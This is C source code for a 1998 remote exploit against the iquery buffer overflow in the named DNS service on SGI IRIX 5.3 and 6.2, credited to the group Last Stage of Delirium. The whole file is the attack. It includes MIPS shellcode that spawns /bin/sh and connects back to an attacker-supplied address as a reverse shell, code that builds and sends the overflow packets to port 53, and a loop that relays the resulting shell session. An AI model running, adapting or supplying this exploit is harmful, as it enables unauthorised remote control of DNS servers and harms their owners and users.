/*   Copyright (c) May 1998       Last Stage of Delirium   */

/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF      */
/*                  Last Stage of Delirium                  */
/*                                                          */
/*   The contents of this file  may be disclosed to third   */
/*   parties, copied and duplicated in any form, in whole   */
/*   or in part, without the prior written consent of LsD.  */

/* SGI named remote overflow exploit                        */
/* tested on IRIX 5.3 and 6.2 including multiprocessor and  */ 
/* multicache machines                                      */
/* won't work on IRIX64 6.2 since its named binary seems to */
/* be not vulnerable to the iquery overflow                 */

/* usage ./r local_adr local_port target                    */
/* you must specify the local_adr and local_port since      */ 
/* the remote shell is a connecting shell not a classic     */
/* bind shell (it connects with the local machine)          */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define START_ADR  0x10040100  

#define PUTADR(p,adr) {*p=(adr>>24)&0xff;*(p+1)=(adr>>16)&0xff;*(p+2)=(adr>>8)&0xff;*(p+3)=adr&0xff;}

#define PUTADRH(p,adr) {*p=(adr>>24)&0xff;*(p+1)=(adr>>16)&0xff;}
#define PUTADRL(p,adr) {*p=(adr>>8)&0xff;*(p+1)=adr&0xff;}

char tablica[25]={
0x00,0x00,0x34,0x34,0x09,0x80,0x00,0x00,
0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x01,0x20,0x20,0x20,0x20,0x00,0x00};

char asmcode[]={
0x24,0x04,0x00,0x02,0x24,0x05,0x00,0x02,0x24,0x06,0x00,0x00,0x24,0x02,0x04,0x53,
0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x40,0x80,0x25,0x00,0x40,0x20,0x25,
0x3c,0x05,0x10,0x04,0x34,0xa5,0xff,0xff,0x24,0x06,0x00,0x10,0x24,0x02,0x04,0x43,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x24,0x02,0x03,0xee,0x24,0x04,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x24,0x02,0x03,0xee,0x24,0x04,0x00,0x01,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x24,0x02,0x03,0xee,0x24,0x04,0x00,0x02,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x02,0x00,0x20,0x25,0x24,0x02,0x04,0x11,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x02,0x00,0x20,0x25,0x24,0x02,0x04,0x11,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x02,0x00,0x20,0x25,0x24,0x02,0x04,0x11,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x3c,0x04,0x10,0x01,0x34,0x84,0xff,0xf1,0x3c,0x05,0x10,0x02,0x34,0xa5,0xff,0xf2,0x24,0x02,0x03,0xf3,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,
'/','b','i','n','/','s','h',0, 
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  
};

main(int argc,char **argv){
    int sck,i,srvsck;
    fd_set readfs;
    struct sockaddr_in address;
    struct sockaddr_in local;
    struct hostent *hp;
    int size;
    unsigned long lregt9,lreggp,lstart,lbcop7,ltmp;
    char regt9[4],reggp[4],start[4],bcop7[4];  
    char *b,*p;
    
    printf("IRIX named remote exploit\n");
    printf("Last Stage of Delirium, May 1998, Poland\n\n");

    if(argc!=4){
        printf("usage: %s local_adr local_port target\n",argv[0]);exit(1);
    }

    srvsck=socket(AF_INET,SOCK_STREAM,0);

    bzero(&local,sizeof(local));
    local.sin_family=AF_INET;
    local.sin_port=htons(atoi(argv[2]));
    if((local.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            printf("error: address.\n");exit(-1);
        }
        memcpy(&local.sin_addr.s_addr,hp->h_addr,4);
    }
    if (bind(srvsck,(struct sockaddr *)&local,sizeof(local))<0) {
       perror("error");exit(-1);
     } 

    lbcop7=lregt9=START_ADR;
    lstart=START_ADR+0x14;  
    lreggp=START_ADR+0x8024;  
    PUTADR(regt9,lregt9);
    PUTADR(reggp,lreggp);
    PUTADR(start,lstart);
    PUTADR(bcop7,lbcop7);

    ltmp=START_ADR+0xd8;
    PUTADRH(&asmcode[0x34-20+2],ltmp);
    PUTADRL(&asmcode[0x38-20+2],ltmp);
    ltmp=START_ADR+0xc8;
    PUTADRH(&asmcode[0xa8-20+2+4],ltmp);
    PUTADRL(&asmcode[0xac-20+2+4],ltmp);
    PUTADR(&asmcode[0xcc-20+4],ltmp);
    ltmp=START_ADR+0xd0;
    PUTADRH(&asmcode[0xb0-20+2+4],ltmp);
    PUTADRL(&asmcode[0xb4-20+2+4],ltmp);
    ltmp=local.sin_addr.s_addr;
    PUTADR(&asmcode[0xdc-20],ltmp);
    ltmp=local.sin_port;
    PUTADRL(&asmcode[0xda-20],ltmp);

    size=930;
    tablica[0]=(size+23)>>8;
    tablica[1]=(size+23)&0xff;
    tablica[23]=size>>8;
    tablica[24]=size&0xff;

    if((b=(char*)malloc(10500))==NULL) return(-1);
    memset(b,0,10500);
    bcopy(tablica,b,sizeof(tablica));

    for(i=0;i<sizeof(asmcode);i++)
      b[2+32+i]=asmcode[i];
    for(i=0;i<4;i++){
      b[2+200+420+i]=start[i];
      b[2+200+420+420+i]=regt9[i];
      b[1018+i]=reggp[i];
      b[930+i]=bcop7[i];
      b[1018-(7*8+4)+i]=regt9[i];
    }
    b[968]=0x20;
    b[528]=0x08;

    sck=socket(AF_INET,SOCK_STREAM,0);

    bzero(&address,sizeof(address));
    address.sin_family=AF_INET;
    address.sin_port=htons(53);
    if((address.sin_addr.s_addr=inet_addr(argv[3]))==-1){
        if((hp=gethostbyname(argv[3]))==NULL){
            printf("error: address.\n");exit(-1);
        }
        memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
    }


    if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
        perror("error");exit(-1);
    }
    fflush(stdout);

    write(sck,b,25+size);
    close(sck);

    size=10000;
    b[0]=(size+23)>>8;
    b[1]=(size+23)&0xff;
    b[23]=size>>8;
    b[24]=size&0xff;

    sck=socket(AF_INET,SOCK_STREAM,0);
    sleep(1);
    if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
        perror("error");exit(-1);
    }
    fflush(stdout);
    write(sck,b,25+size);
    close(sck);

    listen(srvsck,5);
    srvsck=accept(srvsck,(struct sockaddr*)&local,&i);
    printf("%s successfully exploited\n",argv[3]); 
    fflush(stdout);
    while(1){
        FD_ZERO(&readfs);
        FD_SET(0,&readfs);
        FD_SET(srvsck,&readfs);   
        if(select(FD_SETSIZE,&readfs,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&readfs)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
                    else {printf("koniec.\n");exit(-1);}
                }
                write(srvsck,buf,cnt);
            }
            if(FD_ISSET(srvsck,&readfs)){
                if((cnt=read(srvsck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue; 
                    else {printf("koniec.\n");exit(-1);}
                }
                write(1,buf,cnt);
            }
        }
    }
   free(b);
   close(srvsck);
}
/*                    www.hack.co.za                    */